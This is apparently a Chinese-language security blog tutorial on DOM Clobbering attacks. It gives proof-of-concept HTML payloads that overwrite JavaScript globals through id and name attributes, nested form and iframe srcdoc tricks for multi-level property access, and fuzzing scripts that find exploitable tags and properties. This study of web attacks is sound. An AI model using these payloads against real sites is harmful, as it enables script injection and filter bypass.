DOM Clobbering Attack

前言

介绍一种很有趣的攻击手法:DOM Clobbering Attack

Dom Clobbering Attack概述

大概简述下这个技术的主要攻击手法:

通过标签中定义的name和id属性进行全局变量覆盖或劫持,进而造成其他通过全局变量实现效果的代码出现可控情况,造成漏洞。

简单了解下id与name

GO03h6.png

通过这种方式我们实现了全局变量的声明,不过有一点需要注意的是id无法通过document来获取,不过可以通过document.getElementById(‘test1’)或者document.querySelector(‘test1’)进行获取.

利用

字符串的强制转换

在利用时需要考虑两个问题:

第一个问题是:我们通过Dom clobbering覆盖的变量的值均是标签,也就是说都是一个HTMLElement对象,但是在实际应用的时候,很多时候变量都是按照字符串进行操作的,比如上面的例子中,如果直接进行字符串强制类型转换,将会产生下面的结果:

1
2
3
4
5
6
7
8
<html>
<img id=test1>
<img name=test2>
<script>
console.log(''+test1) //[object HTMLImageElement]
</script>

</html>

所以说我们需要找到即使被字符串强制类型转换后也能使用的标签,可利用如下代码进行下fuzz

1
2
3
4
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

结果为得到HTMLAnchorElement和HTMLAreaElement.也就是对应了a标签和area标签

通过下面代码对这两个标签进行下测试

1
2
3
4
5
6
7
8
9
10
<html>
<a id=test1 href="http://test1"></a>
<area id=test2 href="http://test2"></area>
<script>
console.log(''+test1) // 返回结果http://test1

console.log(''+test2) // 返回结果http://test2
</script>

</html>

从上面的测试结果来看a标签和area标签如果进行toString强制转换的时候,是会返回其href属性的value的

这里给下篇文章留个坑吧(可能是一篇关于Spidermonkey分析native code的文章)

属性的访问

在javascript中属性的访问并不只有简单的x这种,更有a.b,a.b.c,甚至a.b.c.d这种的访问形式,下面的探讨就是对于这样问题的解决

两层访问
HTMLCollection

第一种方法可以通过HTMLCollection的创建来实现两层访问

我们可以通过相同id的标签创建来实现HTMLCollection的创建,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<div id=test1>
<a id=test1 name=test2 href="alert(1)"></a>
</div>

<a id=test3>
<a id=test3 name=test4 href="alert(1)"></a>
<script>
console.log(test1.test2) //<a id=test1 name=test2 href="alert(1)"></a>
console.log(test3.test4) //<a id=test3 name=test4 href="alert(1)"></a>
</script>

</html>
Fuzz Html Tags

在不构建HTMLCollection情况下,可以通过直接fuzz标签的关系,来确定是否可层级访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
document.body.appendChild(div);
if(window.element1 && element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));

可得到如下关系

1
2
3
4
5
6
7
8
9
form,button
form,fieldset
form,image
form,img
form,input
form,object
form,output
form,select
form,textarea

测试代码如下:

1
2
3
4
5
6
7
8
9
<html>
<form id=test1>
<button id=test2></button>
</form>
<script>
console.log(test1.test2) //<button id=test2></button>
</script>

</html>

不过这种是无法触发字符串的访问的,相对上种方法更局限一些

三层访问

对于三层的访问来讲,其实就是两种两层访问方法的叠加

测试代码

1
2
3
4
5
6
7
8
9
<html>
<form id=test1 name=test2><button id=test3></button></form>
<form id=test1></form>
<script>
console.log(test1.test2.test3) //<button id=test3>
</script>


</html>

可以看到返回结果为上面声明的id为test3的button标签

三层以上访问

三层以上的访问可以通过iframe与srcdoc来实现

1
2
3
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>

如果不想通过setTimeout进行延时的话,还可以通过<style>标签或者<script>等进行网络请求造成延时,使得iframe加载完毕

1
2
3
4
5
6
7
8
9
10
<html>
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script src="//test.net"></script>
<script>
alert(a.b.c.d)
</script>


</html>

任意属性测试

上面的测试一直是针对id与name进行测试的,但是dom中还有其他很多属性,下面是对于String类型并且可读可写的属性进行fuzz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));

可以得到两个有趣的可利用属性 为username和password,但是这两个并非HTML属性,利用如下:

1
2
3
4
5
6
7
8
9
<html>
<a id=x href="http://Clobbered-username:Clobbered-Password@a">
<a id=x href="ftp://Clobbered-username:Clobbered-Password@a">
<script>
console.log(x.username)//Clobbered-username
console.log(x.password)//Clobbered-password
</script>

</html>

参考链接

[http://wonderkun.cc/2020/02/15/DOM%20Clobbering%20Attack%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/](http://wonderkun.cc/2020/02/15/DOM Clobbering Attack学习记录/)

https://portswigger.net/research/dom-clobbering-strikes-back

https://xz.aliyun.com/t/7329